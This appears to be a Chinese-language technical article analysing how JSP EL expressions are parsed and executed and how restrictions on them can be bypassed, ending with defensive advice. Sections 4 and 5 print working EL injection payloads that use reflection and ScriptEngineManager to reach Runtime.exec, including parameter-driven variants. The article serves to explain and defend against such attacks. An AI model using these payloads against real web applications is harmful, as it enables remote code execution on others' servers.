EL表达式的执行限制及绕过
字数 1456 2025-08-20 18:17:53
EL表达式执行限制及绕过技术分析
1. EL表达式基础原理
EL(Expression Language)表达式在JSP中主要用于动态执行操作,其核心执行流程如下:
-
解析过程:
- 将EL表达式字符串解析成多个
Node结点 - 在JSP中通过
proprietaryEvaluate方法将表达式解析成ValueExpression实现类 children变量存储了抽象出的各个Node结点
- 将EL表达式字符串解析成多个
-
执行过程:
- 通过
AstValue#getValue方法执行表达式 - 取出第一个Node作为base结点,获取结点数、ElResolver等
- 循环遍历每个子结点,以
.为分割符 - 下一个结点通常是
AstDotSuffix类对象
- 通过
2. 方法调用机制
当表达式调用方法时:
- 如果下下个结点是
AstMethodParameters类对象,表示正在调用方法 - 通过
getParameters获取参数,AstMethodParameters#getParameters将参数数组化 - 核心执行在
ElResolver#invoke方法中 - EL支持多种解析器,其中第7个
BeanELResolver是核心解析器
执行流程:
- 将method转化成String类型的方法名
- 在基类base中查找该方法
- 通过反射调用该方法
- 将执行结果设置为新的base基类,进行下一次循环
3. Node结点类型分析
EL表达式解析后会产生多种Node类型:
AstMapData:返回HashMap结构的数据AstConcatenation:拼接两个字符串并返回结果AstLambdaExpression:支持lambda表达式执行AstListData:处理list数据AstBracketSuffix:处理[]中的数据
4. 非常规执行方式
4.1 中括号调用方式
除了常规的.调用方式,还可以使用[]中括号进行方法调用:
${param['class']()['forName']("javax.script.ScriptEngineManager")['newInstance']()['getEngineByName']("js")['eval']("java.lang.Runtime.getRuntime().exec(\"calc\")")}
执行原理:
AstBracketSuffix#getValue方法返回[]内的第一项内容- 如果是字符串,解析成
AstString类,其getValue方法直接返回值 - 效果等同于使用
.进行反射调用
4.2 Getter/Setter机制
在EL表达式中:
- 通过
.访问属性实际上是调用对应属性的getter方法 - 使用
=连接的表达式解析成AstAssign,等号两边作为该结点的两个子结点 - 通过调用结点的
getValue方法进行表达式求值
5. 安全绕过技术
5.1 反射调用绕过
通过反射调用关键类和方法实现命令执行:
${param.getClass().forName(param.c).newInstance().eval(param.cmd)}
5.2 脚本引擎利用
通过ScriptEngineManager执行JavaScript代码:
${param.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\"calc\")")}
5.3 参数化调用
通过请求参数动态传入类名和方法名:
${param[param.method](param.args)}
6. 防御建议
-
输入过滤:
- 严格过滤EL表达式中的特殊字符和关键字
- 禁用反射相关类和方法
-
配置限制:
- 禁用EL表达式中的方法调用功能
- 限制可解析的类范围
-
安全编码:
- 避免直接使用用户输入构建EL表达式
- 使用安全的表达式解析器替代标准EL
-
运行时防护:
- 监控可疑的反射调用
- 限制脚本引擎的使用
7. 总结
EL表达式的动态执行特性虽然提供了灵活性,但也带来了安全风险。攻击者可以通过反射、脚本引擎等多种方式绕过限制执行任意代码。理解EL表达式的解析和执行机制,有助于更好地防御相关攻击。开发者应严格限制EL表达式的使用场景,并对用户输入进行严格过滤和验证。